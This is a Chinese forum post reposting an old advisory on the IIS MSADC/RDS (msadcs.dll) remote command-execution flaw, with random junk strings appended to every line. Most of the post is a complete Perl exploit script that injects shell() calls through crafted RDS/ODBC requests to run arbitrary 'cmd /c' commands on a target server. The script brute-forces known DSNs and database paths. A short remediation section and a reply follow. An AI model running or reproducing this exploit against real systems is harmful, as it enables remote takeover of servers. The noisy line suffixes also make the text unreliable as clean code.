社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 165928阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^X?[zc GE  
Psv-y  
涉及程序: ]:f1r8<3p  
Microsoft NT server Z@*Z@]FC  
"q%)we  
描述: Eod2vr =Q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 oL~Yrb%R  
,`wxXU7  
详细: w(@`g/b  
如果你没有时间读详细内容的话,就删除: SHaZ-d  
c:\Program Files\Common Files\System\Msadc\msadcs.dll vuK 5DG4  
有关的安全问题就没有了。 QO%LSRw  
zzxU9m~"  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 B O"+m  
>Te{a*`"m:  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 7eO8cPy  
关于利用ODBC远程漏洞的描述,请参看: i<T`]g  
eFx*lYjA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k{;:KW|  
44]ae~@a  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 zZy>XHR H  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp M\]E;C'"U  
DnTM#i:  
这里不再论述。 2<'gX>TW  
$X{& KLM[  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [R~HhM  
IEA[]eik>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset h0gT/x  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Z86[sQBg  
g5?Fo%W  
u|Ai<2b$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" }%}eyLm(  
gf!j|O;  
#!perl /2z 2a-!r  
#  {<i!Pm  
# MSADC/RDS 'usage' (aka exploit) script }Jc^p  
# CUtk4;^y#  
# by rain.forest.puppy II2oV}7?  
# ;S%wPXj&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;uJVY)7a  
# beta test and find errors! \GkcK$Y  
6ZM<M7(V  
use Socket; use Getopt::Std; @3G3l|~>  
getopts("e:vd:h:XR", \%args); q}8R>`Z{  
~!uK;hI  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; `j2z=5  
6m{3GKaW~  
if (!defined $args{h} && !defined $args{R}) { 63~i6  
print qq~ ,5/gNg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \gzNMI*  
-h <host> = host you want to scan (ip or domain) g_q{3PW.  
-d <seconds> = delay between calls, default 1 second eD/?$@y  
-X = dump Index Server path table, if available EEaFi 8  
-v = verbose |GsLcUv6  
-e = external dictionary file for step 5 }{ P}P}  
Rw7Q[I5z%  
Or a -R will resume a command session +uH1rF_&@  
H<>x_}&  
~; exit;} ZE1#{u~[y  
Gh< r_O~L3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; W[vak F  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} LPXwfEHOm  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} f&,.h"bS  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vu1:8j  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} f{vnZ|WD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } c2i^dNp_  
QTDI^ZeuF  
if (!defined $args{R}){ $ret = &has_msadc; l>:?U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "kL5HD]TC  
+Gjy%JFp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" &2g1Oy~  
. "cmd /c "; D]0#A|n F  
$in=<STDIN>; chomp $in; 5-sxTp  
$command="cmd /c " . $in ; \;sUJr"$  
S5XFYQ  
if (defined $args{R}) {&load; exit;} .z9JoQ  
#A|M NJ%m  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; |5W u0T  
&try_btcustmr; 5zU D W?  
;\H2U .  
print "\nStep 2: Trying to make our own DSN..."; w ggl,+7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 'Kq%t M26!  
&^Xm4r%u_  
print "\nStep 3: Trying known DSNs..."; 4}0s^>R  
&known_dsn; a]Lr<i8#%  
0)nU[CY  
print "\nStep 4: Trying known .mdbs..."; )cvC9gt  
&known_mdb; 3}sd%vCK  
APF-*/K?  
if (defined $args{e}){ 1p tPey  
print "\nStep 5: Trying dictionary of DSN names..."; @Pa ;h  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } F Pu,sz8  
\:Nbl<9(9  
print "Sorry Charley...maybe next time?\n"; [#.QDe  
exit; .NPai4V'  
i#eb%9Mn  
############################################################################## j#Y8h5r  
N". af)5  
sub sendraw { # ripped and modded from whisker ;MO %))  
sleep($delay); # it's a DoS on the server! At least on mine... i JQS@2=A  
my ($pstr)=@_; t[X'OK0W%3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || , n+dB2\  
die("Socket problems\n"); GB{%4)%6  
if(connect(S,pack "SnA4x8",2,80,$target)){ _|#)tWy}  
select(S); $|=1; Bt.WRRpAB  
print $pstr; my @in=<S>; Z*oGVr g  
select(STDOUT); close(S); tewC *%3V  
return @in; e}Db-7B_~  
} else { die("Can't connect...\n"); }} 2AdV=n6Z  
gXF.e.uU  
############################################################################## P ^D\znvc  
\oaO7w,:"  
sub make_header { # make the HTTP request yDHH05Yl  
my $msadc=<<EOT }3QEclZr  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 yYW>)  
User-Agent: ACTIVEDATA w 5,-+&;  
Host: $ip U/TF,JUI  
Content-Length: $clen yJ?4B?p(  
Connection: Keep-Alive d#A.A<p*  
m. XLpD  
ADCClientVersion:01.06 9]|cs  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 @Gl=1  
TT>;!nb  
--!ADM!ROX!YOUR!WORLD! j{nL33T%  
Content-Type: application/x-varg )WD<Q x&  
Content-Length: $reqlen &OsJnkY<<  
JH2d+8O:qK  
EOT Of-l<Ks\  
; $msadc=~s/\n/\r\n/g; L-q.Q  
return $msadc;} -[G+*3Y{7  
Bl(we/r  
############################################################################## w%`7,d u|  
?a(ApD\  
sub make_req { # make the RDS request 4D0"Y #&G  
my ($switch, $p1, $p2)=@_; 9CxU: ;3  
my $req=""; my $t1, $t2, $query, $dsn; Z~v.!j0  
;Q\Duj  
if ($switch==1){ # this is the btcustmr.mdb query $2\ OBc=  
$query="Select * from Customers where City=" . make_shell(); `rQA9;Tn2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2jaR_` `=:  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /SjA;c! .  
{&m^*YN/  
elsif ($switch==2){ # this is general make table query 3Ju<jXoo!  
$query="create table AZZ (B int, C varchar(10))"; Z}WMpp^r  
$dsn="$p1";} )$Mgp *?  
JH5ckgdZ  
elsif ($switch==3){ # this is general exploit table query <Azv VSA,  
$query="select * from AZZ where C=" . make_shell(); MsfY|(/m  
$dsn="$p1";} l&[x)W  
Ij4oH  
elsif ($switch==4){ # attempt to hork file info from index server j^>J*gLM}W  
$query="select path from scope()"; ]^E<e!z={$  
$dsn="Provider=MSIDXS;";} g&X$)V4C  
YGNO]Q~A  
elsif ($switch==5){ # bad query 4OC ^IS  
$query="select"; jsjH.O  
$dsn="$p1";} L_Ff*   
bF<FX_}!s!  
$t1= make_unicode($query); 8|HuxE  
$t2= make_unicode($dsn); }H\wed]F/  
$req = "\x02\x00\x03\x00"; M2{{B ^*$6  
$req.= "\x08\x00" . pack ("S1", length($t1)); ' FF@I^O  
$req.= "\x00\x00" . $t1 ; REli`"bR  
$req.= "\x08\x00" . pack ("S1", length($t2)); yd'>Mw  
$req.= "\x00\x00" . $t2 ; 5hg:@i',  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ;3 O0O  
return $req;} 1o V\QK&  
g>cp;co9g  
############################################################################## =:uK$>[  
X=8y$Yy  
sub make_shell { # this makes the shell() statement }f/ 1  
return "'|shell(\"$command\")|'";} )|zLjF$  
Etj@wy/E  
############################################################################## ~#C7G\R  
9-5H~<}fF  
sub make_unicode { # quick little function to convert to unicode 4v_<<l  
my ($in)=@_; my $out; FxW~Co  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3)3?/y)_  
return $out;} jEo)#j];`<  
59 R;n.Q  
############################################################################## !#Ub*qY1Z  
i]Njn k  
sub rdo_success { # checks for RDO return success (this is kludge) scT,yNV  
my (@in) = @_; my $base=content_start(@in); $qV, z  
if($in[$base]=~/multipart\/mixed/){ V9mqJRFJ:  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]QlgVw,  
return 0;} eVGO6 2|!  
B<%cqz@  
############################################################################## 0Q`Dp;a5&  
UP'~D]J  
sub make_dsn { # this makes a DSN for us V:s$V.{!  
my @drives=("c","d","e","f"); aJdd2,e  
print "\nMaking DSN: "; H,u{zU')  
foreach $drive (@drives) { %-1-y]R|  
print "$drive: "; m:SG1m_6  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . zk#"n&u0  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #ueWU  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); oR}cE Sr  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,1&Pb %}  
return 0 if $2 eq "404"; # not found/doesn't exist Pq u]?X  
if($2 eq "200") { > mk>VM  
foreach $line (@results) { mSdByT+dG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :#7"SEud}  
} return 0;} 6?i]oy^X]p  
e ?sMOBPlv  
############################################################################## nvY%{Zf$}  
MVP|l_2!  
sub verify_exists { _Wg?H:\  
my ($page)=@_; v#c'p^T  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Td(eNe_4T  
return $results[0];} X$BN &DD  
= p{55dR  
############################################################################## Pu>jECcz  
1 etl:gcEC  
sub try_btcustmr { +-2o b90_m  
my @drives=("c","d","e","f"); XB0G7o%1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); B8.a#@R  
Fj;];1nt  
foreach $dir (@dirs) { CiF(   
print "$dir -> "; # fun status so you can see progress G5A:C(r  
foreach $drive (@drives) { EdcbWf7  
print "$drive: "; # ditto QiKci%=SX  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; x$hhH=  
$reqlenlen=length( "$reqlen" ); Bm"-X:='  
$clen= 206 + $reqlenlen + $reqlen; r ]s7a?O  
3EkCM_]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +{#65 z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} fJ<I|ZZ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Q3"{v0  
.bYZkO:oy  
############################################################################## &X3G;x2;  
2i0 .x  
sub odbc_error { <fS WX>pR  
my (@in)=@_; my $base; aW=c.Q.  
my $base = content_start(@in); `)y<X#[8  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 00SYNG!  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; R5Pk>-KF  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; WoV"&9y  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z=ZTSl   
return $in[$base+4].$in[$base+5].$in[$base+6];}  A:b(@'h  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; w :nYsuF  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 5}C.^J`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ^Y%'"QwJS  
:Oiz|b(  
############################################################################## P K+rr.k]  
.q90+9Ek=  
sub verbose { ]y0bgKTK  
my ($in)=@_; #)r^ZA&E  
return if !$verbose; Q HU|aC{r  
print STDOUT "\n$in\n";} |VX )S!  
&u+l`F^Z  
############################################################################## YuXCRw9p;  
<?Ln`,Duk  
sub save { pl }nb Y  
my ($p1, $p2, $p3, $p4)=@_; \+M6R<Qw  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; o|kiwr}Y  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {'8td^JEE  
close OUT;} -.@dA'j[  
/PZx['g  
##############################################################################  Zh  
Iip%er%b  
sub load { dl]pdg<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5bB\i79$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); &x9>8~   
@p=<IN>; close(IN); &2,3R}B/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .}9Lj  
$target= inet_aton($ip) || die("inet_aton problems"); ^r=Wj@`  
print "Resuming to $ip ..."; ' kOkwGf!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %1oB!+tv  
if($p[1]==1) { J5TT+FQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; TTa$wiW7'  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; -1{f(/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'Z*`~,Q  
if (rdo_success(@results)){print "Success!\n";} +0ALO%G;G"  
else { print "failed\n"; verbose(odbc_error(@results));}} Tbp;xv_qo  
elsif ($p[1]==3){ v!`:{)2C  
if(run_query("$p[3]")){ &HQ_e$1  
print "Success!\n";} else { print "failed\n"; }} ;~-ZN?8   
elsif ($p[1]==4){ TMsc5E  
if(run_query($drvst . "$p[3]")){ %lk^(@+ T  
print "Success!\n"; } else { print "failed\n"; }} jj&mRF0gCb  
exit;} I A%ZCdA;  
hpc&s  
############################################################################## B[ .$<$}G  
=,b6yV+$D  
sub create_table { 4^Ss\$*  
my ($in)=@_; 1=Kt.tuf  
$reqlen=length( make_req(2,$in,"") ) - 28; ^IgQI N  
$reqlenlen=length( "$reqlen" ); 8NkyT_\  
$clen= 206 + $reqlenlen + $reqlen; dl.gCiI  
my @results=sendraw(make_header() . make_req(2,$in,"")); qRSoF04!R  
return 1 if rdo_success(@results); N~uc%wOA  
my $temp= odbc_error(@results); verbose($temp); ds9U9t  
return 1 if $temp=~/Table 'AZZ' already exists/; h#p[6}D  
return 0;} /3#h]5Y"T  
0GlQWRa  
############################################################################## sWmqx$  
aUF{57,<  
sub known_dsn { eQz.N<f"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go c/7}5#Rs  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", h`dHk]O  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Mkh/+f4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [_eT{v2B4  
) &DsRA7v  
foreach $dSn (@dsns) { {,!!jeOO  
print "."; - {}(U  
next if (!is_access("DSN=$dSn")); #<~oR5ddlb  
if(create_table("DSN=$dSn")){ * >/w,E]  
print "$dSn successful\n"; `Ez8!d{MD8  
if(run_query("DSN=$dSn")){ Hu9nJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { <0VC`+p<)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} xw}rFY $  
ch2m Ei(  
############################################################################## +DG-MM%\  
w\mTug  
sub is_access { mGDy3R90  
my ($in)=@_; 8.G<+.  
$reqlen=length( make_req(5,$in,"") ) - 28; R$ !]z(  
$reqlenlen=length( "$reqlen" ); [+d~He  
$clen= 206 + $reqlenlen + $reqlen; <BIQc,)2}  
my @results=sendraw(make_header() . make_req(5,$in,"")); ;m7~!m)  
my $temp= odbc_error(@results); ?0'e_s  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); rd>>=~vx=/  
return 0;} \2!.  
?V}ub>J/=  
############################################################################## -X_\3J  
G1-r$7\  
sub run_query { IL:[0q  
my ($in)=@_; @~Ys*]4UE  
$reqlen=length( make_req(3,$in,"") ) - 28; a~ RY 8s  
$reqlenlen=length( "$reqlen" ); JMk2OK {0  
$clen= 206 + $reqlenlen + $reqlen; 8[.&ca/[  
my @results=sendraw(make_header() . make_req(3,$in,"")); dt@~8kS  
return 1 if rdo_success(@results); 2ql)]Skg6  
my $temp= odbc_error(@results); verbose($temp); cuC' o\f  
return 0;} );T&pm:C>  
TMD\=8Na  
############################################################################## <"K2t Tg.  
n=)LB& m  
sub known_mdb { zB`J+r;LU  
my @drives=("c","d","e","f","g"); pP#D*hiP-g  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /Xj{]i3{  
my $dir, $drive, $mdb; e_-7,5Co  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; dWi< U4  
MQDLC7Y.p5  
# this is sparse, because I don't know of many 7O8 @T-f+2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", $}IG+ ,L  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $vK,Gugcx  
"\\system32\\certmdb.mdb",  _X  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% wpp!H<')  
\03<dUA6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }Ml BmD  
"\\cfusion\\cfapps\\forums\\forums_.mdb", \[qxOZ{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %y\5L#T!>  
"\\cfusion\\cfapps\\security\\realm_.mdb", [MQ* =*  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", AFM+`{Cq  
"\\cfusion\\database\\cfexamples.mdb", "uP*pR^  
"\\cfusion\\database\\cfsnippets.mdb", -[J4nN&N  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !4!qHJISa  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", mZXtHFMu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1ni72iz\  
"\\cfusion\\database\\smpolicy.mdb", urE7ZKdI  
"\\cfusion\\database\cypress.mdb", H5#]MOAP  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", R|^bZf^  
"\\website\\cgi-win\\dbsample.mdb", am !ssF5s  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 2D:,(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" H)h^|A/vO  
); #these are just *DvX|| `&  
foreach $drive (@drives) { g-jg;Ri  
foreach $dir (@dirs){ Nmd{C(^o  
foreach $mdb (@sysmdbs) { St(jrZb  
print "."; $&qLr KJ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  *  ]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";  j'Jb+@W?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZXL'R |?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; e`U 6JzC  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 3=o4ncg(  
E24SD'|)  
foreach $drive (@drives) { IA&V?{OE@I  
foreach $mdb (@mdbs) { b%*`}B  
print "."; wx`.  
if(create_table($drv . $drive . $dir . $mdb)){ '<vb_8.  
print "\n" . $drive . $dir . $mdb . " successful\n"; [E%g3>/mt  
if(run_query($drv . $drive . $dir . $mdb)){ .I EHjy\+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ]b]J)dDI  
} else { print "Something's borked. Use verbose next time\n"; }}}} glc<(V  
} ?{}P#sn  
=-~))!(  
############################################################################## {}8C/4iP  
q5S_B]|  
sub hork_idx { { `Z~T&}~T  
print "\nAttempting to dump Index Server tables...\n"; <"6\\#}VG  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; [3qH? 2&  
$reqlen=length( make_req(4,"","") ) - 28; (]\p'%A)  
$reqlenlen=length( "$reqlen" ); sV-P R]  
$clen= 206 + $reqlenlen + $reqlen; 63%V_B|  
my @results=sendraw2(make_header() . make_req(4,"",""));  [B`4I  
if (rdo_success(@results)){ ]cv|dc=  
my $max=@results; my $c; my %d; B6;>V`!  
for($c=19; $c<$max; $c++){ j24DL+  
$results[$c]=~s/\x00//g; LLT6*up$  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9_d# F'#F  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; U,p'<rmS  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; [0105l5  
$d{"$1$2"}="";} ]P#W\LZp  
foreach $c (keys %d){ print "$c\n"; } cr<j<#(Z}  
} else {print "Index server doesn't seem to be installed.\n"; }} Y3~z#<  
K?[Vz[-Fc  
############################################################################## }y+Qj6dP  
ZA. S X|m  
sub dsn_dict { j1qU 4#Y  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); &zB>  
while(<IN>){ ]Jm\k'u[  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; S[q:b .  
next if (!is_access("DSN=$dSn")); 9d^m 7}2  
if(create_table("DSN=$dSn")){ J=78p#XUg  
print "$dSn successful\n"; pnE]B0e  
if(run_query("DSN=$dSn")){ M ;b3- i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =H8FV09x}  
print "Something's borked. Use verbose next time\n";}}} 4h_YVG]ur  
print "\n"; close(IN);} #]5KWXC'~  
q2J |koT  
############################################################################## N>YSXh`W`y  
?;htK_E\*  
sub sendraw2 { # ripped and modded from whisker `p9N| V  
sleep($delay); # it's a DoS on the server! At least on mine... V s xI  
my ($pstr)=@_; [;7zg@Sa  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 4i{Xs5zk  
die("Socket problems\n"); nA_'j l  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZklpnL*!  
print "Connected. Getting data"; ^'`(E_2u  
open(OUT,">raw.out"); my @in; i!8"T#  
select(S); $|=1; print $pstr; kvbW^pl  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} T [xIn+w  
close(OUT); select(STDOUT); close(S); return @in; {]8|\CcY?  
} else { die("Can't connect...\n"); }} (y6q}#<  
62,dFM7  
############################################################################## (yi zM  
P*?|E@;s`  
sub content_start { # this will take in the server headers HfhI9f_x  
my (@in)=@_; my $c; =No#/_  
for ($c=1;$c<500;$c++) { I}o} # OJ  
if($in[$c] =~/^\x0d\x0a/){ L~)8Q(f  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } eGg6wd  
else { return $c+1; }}} fNu/>pN  
return -1;} # it should never get here actually CmbgEGIh[a  
Xe_djy'8  
############################################################################## 2)}*'_E9  
zSD_t  
sub funky { sRZ<c  
my (@in)=@_; my $error=odbc_error(@in); F(."nUrf  
if($error=~/ADO could not find the specified provider/){ _0gdt4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; dmXfz D  
exit;} wT- <#+L\  
if($error=~/A Handler is required/){ j!!s>7IZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; 0wNlt#G;{  
exit;} mF~]P8  
if($error=~/specified Handler has denied Access/){ ]NBx5m+y@i  
print "\nServer has custom handler filters (they most likely are patched)\n"; B0gD4MX/  
exit;}} >g>r_0.  
r<n:o7  
############################################################################## 'dh{q`#0  
Ns1n|^9  
sub has_msadc { et~D9='E  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~!2fUewEu  
my $base=content_start(@results); ;SjNZi)4d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); T:'JA  
return 0;} 5yK#;!:h  
d9U)O6=  
######################## kZF<~U  
CUG"2K9  
/bo=,%wJ[  
解决方案: b\H&E{Gn|x  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Yb<:1?76L  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 U`EOun ,  
QgYt(/S  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八